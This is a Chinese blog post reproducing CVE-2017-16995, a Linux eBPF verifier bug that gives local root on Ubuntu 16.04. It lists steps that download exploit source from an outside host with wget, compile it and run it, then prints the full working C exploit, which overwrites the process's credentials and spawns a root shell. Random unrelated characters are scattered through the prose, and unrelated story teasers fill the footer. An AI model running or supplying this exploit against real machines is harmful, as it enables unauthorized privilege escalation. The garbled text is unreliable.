[漏洞復現(xiàn)]Ubuntu16.04本地提權(CVE-2017-16995)


漏洞概述:

該漏洞存在于Linux內核帶有的eBPF bpf(2)系統(tǒng)調用中叠洗,當用戶提供惡意BPF程序使eBPF驗證器模塊發(fā)生計算錯誤,導致任意內存讀寫問題旅东。
非root用戶可以直接獲取root權限,早在老版本中已經修復此漏洞十艾,但是最新版本的Ubuntu又出現(xiàn)了此漏洞抵代。

影響范圍:

  • Ubuntu 16.04
  • Linux Kernel Version 4.14-4.4(主要影響 Debian 和 Ubuntu 發(fā)行版,Redhat 和 CentOS 不受影響忘嫉。)

漏洞復現(xiàn):

cat /proc/sys/kernel/unprivileged_bpf_disabled #查看bfp模塊參數(shù)荤牍,0為啟用案腺,1為禁用
id #查看當前用戶ID
cat /etc/issue #查看linux系統(tǒng)版本
cat /proc/version #查看linux內核版本(uname -a也可以查看)
wget http://cysclabs.com/pub/upstream44.c #下載poc代碼
gcc upstream44.c #編譯upstream44.c,在當前文件夾生成a.out文件康吵,安裝gcc編譯器使用:sudo apt install gcc
./a.out #執(zhí)行文件
id #查看用戶ID

修復:

  1. 更新內核
  2. 禁用bpf模塊

upstream44.c源碼:

/*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog =  "\xb4\x09\x00\x00\xff\xff\xff\xff"
        "\x55\x09\x02\x00\xff\xff\xff\xff"
        "\xb7\x00\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x18\x19\x00\x00\x03\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x00\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x06\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x01\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x07\x00\x00\x00\x00\x00\x00"
        "\xbf\x91\x00\x00\x00\x00\x00\x00"
        "\xbf\xa2\x00\x00\x00\x00\x00\x00"
        "\x07\x02\x00\x00\xfc\xff\xff\xff"
        "\x62\x0a\xfc\xff\x02\x00\x00\x00"
        "\x85\x00\x00\x00\x01\x00\x00\x00"
        "\x55\x00\x01\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x79\x08\x00\x00\x00\x00\x00\x00"
        "\xbf\x02\x00\x00\x00\x00\x00\x00"
        "\xb7\x00\x00\x00\x00\x00\x00\x00"
        "\x55\x06\x03\x00\x00\x00\x00\x00"
        "\x79\x73\x00\x00\x00\x00\x00\x00"
        "\x7b\x32\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x55\x06\x02\x00\x01\x00\x00\x00"
        "\x7b\xa2\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00"
        "\x7b\x87\x00\x00\x00\x00\x00\x00"
        "\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
          const struct bpf_insn *insns, int prog_len,
          const char *license, int kern_version) {
    union bpf_attr attr = {
        .prog_type = prog_type,
        .insns = (__u64)insns,
        .insn_cnt = prog_len / sizeof(struct bpf_insn),
        .license = (__u64)license,
        .log_buf = (__u64)bpf_log_buf,
        .log_size = LOG_BUF_SIZE,
        .log_level = 1,
    };

    attr.kern_version = kern_version;

    bpf_log_buf[0] = 0;

    return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
           int max_entries) {
    union bpf_attr attr = {
        .map_type = map_type,
        .key_size = key_size,
        .value_size = value_size,
        .max_entries = max_entries
    };

    return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)&key,
        .value = (__u64)&value,
        .flags = 0,
    };

    return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)key,
        .value = (__u64)value,
    };

    return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
    fprintf(stderr, "error: %s\n", err);
    exit(-1);
}

static void prep(void) {
    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
    if (mapfd < 0)
        __exit(strerror(errno));

    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
            (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

    if (progfd < 0)
        __exit(strerror(errno));

    if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
        __exit(strerror(errno));

    if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
        __exit(strerror(errno));
}

static void writemsg(void) {
    char buffer[64];

    ssize_t n = write(sockets[0], buffer, sizeof(buffer));

    if (n < 0) {
        perror("write");
        return;
    }
    if (n != sizeof(buffer))
        fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
    bpf_update_elem(0, (a)); \
    bpf_update_elem(1, (b)); \
    bpf_update_elem(2, (c)); \
    writemsg();

static uint64_t get_value(int key) {
    uint64_t value;

    if (bpf_lookup_elem(&key, &value))
        __exit(strerror(errno));

    return value;
}

static uint64_t __get_fp(void) {
    __update_elem(1, 0, 0);

    return get_value(2);
}

static uint64_t __read(uint64_t addr) {
    __update_elem(0, addr, 0);

    return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
    __update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
    return addr & ~(0x4000 - 1);
}

static void pwn(void) {
    uint64_t fp, sp, task_struct, credptr, uidptr;

    fp = __get_fp();
    if (fp < PHYS_OFFSET)
        __exit("bogus fp");
    
    sp = get_sp(fp);
    if (sp < PHYS_OFFSET)
        __exit("bogus sp");
    
    task_struct = __read(sp);

    if (task_struct < PHYS_OFFSET)
        __exit("bogus task ptr");

    printf("task_struct = %lx\n", task_struct);

    credptr = __read(task_struct + CRED_OFFSET); // cred

    if (credptr < PHYS_OFFSET)
        __exit("bogus cred ptr");

    uidptr = credptr + UID_OFFSET; // uid
    if (uidptr < PHYS_OFFSET)
        __exit("bogus uid ptr");

    printf("uidptr = %lx\n", uidptr);
    __write(uidptr, 0); // set both uid and gid to 0

    if (getuid() == 0) {
        printf("spawning root shell\n");
        system("/bin/bash");
        exit(0);
    }

    __exit("not vulnerable?");
}

int main(int argc, char **argv) {
    prep();
    pwn();

    return 0;
}
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末劈榨,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子晦嵌,更是在濱河造成了極大的恐慌同辣,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,723評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件惭载,死亡現(xiàn)場離奇詭異旱函,居然都是意外死亡,警方通過查閱死者的電腦和手機描滔,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,485評論 2 382
  • 文/潘曉璐 我一進店門棒妨,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人含长,你說我怎么就攤上這事券腔。” “怎么了拘泞?”我有些...
    開封第一講書人閱讀 152,998評論 0 344
  • 文/不壞的土叔 我叫張陵颅眶,是天一觀的道長。 經常有香客問我田弥,道長涛酗,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,323評論 1 279
  • 正文 為了忘掉前任偷厦,我火速辦了婚禮商叹,結果婚禮上,老公的妹妹穿的比我還像新娘只泼。我一直安慰自己坟瓢,他們只是感情好,可當我...
    茶點故事閱讀 64,355評論 5 374
  • 文/花漫 我一把揭開白布夸赫。 她就那樣靜靜地躺著锭亏,像睡著了一般。 火紅的嫁衣襯著肌膚如雪十绑。 梳的紋絲不亂的頭發(fā)上聚至,一...
    開封第一講書人閱讀 49,079評論 1 285
  • 那天,我揣著相機與錄音本橙,去河邊找鬼扳躬。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的贷币。 我是一名探鬼主播击胜,決...
    沈念sama閱讀 38,389評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼役纹!你這毒婦竟也來了偶摔?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 37,019評論 0 259
  • 序言:老撾萬榮一對情侶失蹤促脉,失蹤者是張志新(化名)和其女友劉穎辰斋,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體嘲叔,經...
    沈念sama閱讀 43,519評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡亡呵,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 35,971評論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了硫戈。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片锰什。...
    茶點故事閱讀 38,100評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖丁逝,靈堂內的尸體忽然破棺而出汁胆,到底是詐尸還是另有隱情,我是刑警寧澤霜幼,帶...
    沈念sama閱讀 33,738評論 4 324
  • 正文 年R本政府宣布嫩码,位于F島的核電站,受9級特大地震影響罪既,放射性物質發(fā)生泄漏铸题。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,293評論 3 307
  • 文/蒙蒙 一琢感、第九天 我趴在偏房一處隱蔽的房頂上張望丢间。 院中可真熱鬧,春花似錦驹针、人聲如沸烘挫。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,289評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽饮六。三九已至,卻和暖如春苛蒲,著一層夾襖步出監(jiān)牢的瞬間卤橄,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,517評論 1 262
  • 我被黑心中介騙來泰國打工撤防, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留虽风,地道東北人棒口。 一個月前我還...
    沈念sama閱讀 45,547評論 2 354
  • 正文 我出身青樓寄月,卻偏偏與公主長得像辜膝,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子漾肮,可洞房花燭夜當晚...
    茶點故事閱讀 42,834評論 2 345